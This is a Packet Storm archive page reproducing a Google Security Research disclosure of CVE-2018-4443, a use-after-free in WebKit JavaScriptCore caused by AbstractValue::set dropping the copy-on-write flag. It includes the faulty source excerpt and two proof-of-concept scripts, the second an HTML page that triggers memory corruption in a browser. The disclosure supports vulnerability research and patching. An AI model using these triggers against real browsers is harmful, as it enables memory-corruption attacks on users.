what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebKit JSC AbstractValue::set Use-After-Free

WebKit JSC AbstractValue::set Use-After-Free
Posted Dec 27, 2018
Authored by Google Security Research, lokihardt

WebKit JSC suffers from a use-after-free vulnerability that can be used to bypass write barriers.

tags | exploit
advisories | CVE-2018-4443
SHA-256 | e2420c7cbbee92aac272000675d9ecac14ee6bdf6f20e39b27fbf5fba2af6409

WebKit JSC AbstractValue::set Use-After-Free

Change Mirror Download
WebKit: JSC: A bug in AbstractValue::set 

CVE-2018-4443


void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
RELEASE_ASSERT(structure);

m_structure = structure;

m_arrayModes = asArrayModes(structure->indexingType());
m_type = speculationFromStructure(structure.get());
m_value = JSValue();

checkConsistency();
assertIsRegistered(graph);
}

It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as
writing into an immutable butterfly can be used to bypass write barriers.

I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too.

PoC:
// ./jsc --useConcurrentJIT=false ~/test.js

function set(arr, value) {
arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
let arr = [1];
if (get)
return arr;

set(arr, value); // This inlinee is for having checkArray not take the paths using the structure comparison.
set({}, 1);
}

function main() {
getImmutableArrayOrSet(true);

for (let i = 0; i < 100; i++) {
getImmutableArrayOrSet(false, {});
}

let arr = getImmutableArrayOrSet(true);
print(arr[0] === 1);
}

main();

PoC 2 (UaF):
<script>

function sleep(ms) {
let s = new Date();
while (new Date() - s < ms) {

}
}

function mark() {
for (let i = 0; i < 40; i++) {
new ArrayBuffer(1024 * 1024 * 1);
}
}

function set(arr, value) {
arr[0] = value;
}

function getImmutableArrayOrSet(get, value) {
let arr = [1];
if (get)
return arr;

set(arr, value);
set({}, 1);
}

function main() {
getImmutableArrayOrSet(true);

for (let i = 0; i < 10000; i++)
getImmutableArrayOrSet(false, {});

sleep(500);

let arr = getImmutableArrayOrSet(true);

mark();
getImmutableArrayOrSet(false, []);
mark();

setTimeout(() => {
try {
alert(arr[0]);
} catch (e) {
alert(e);
}
}, 200);
}

main();

</script>



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close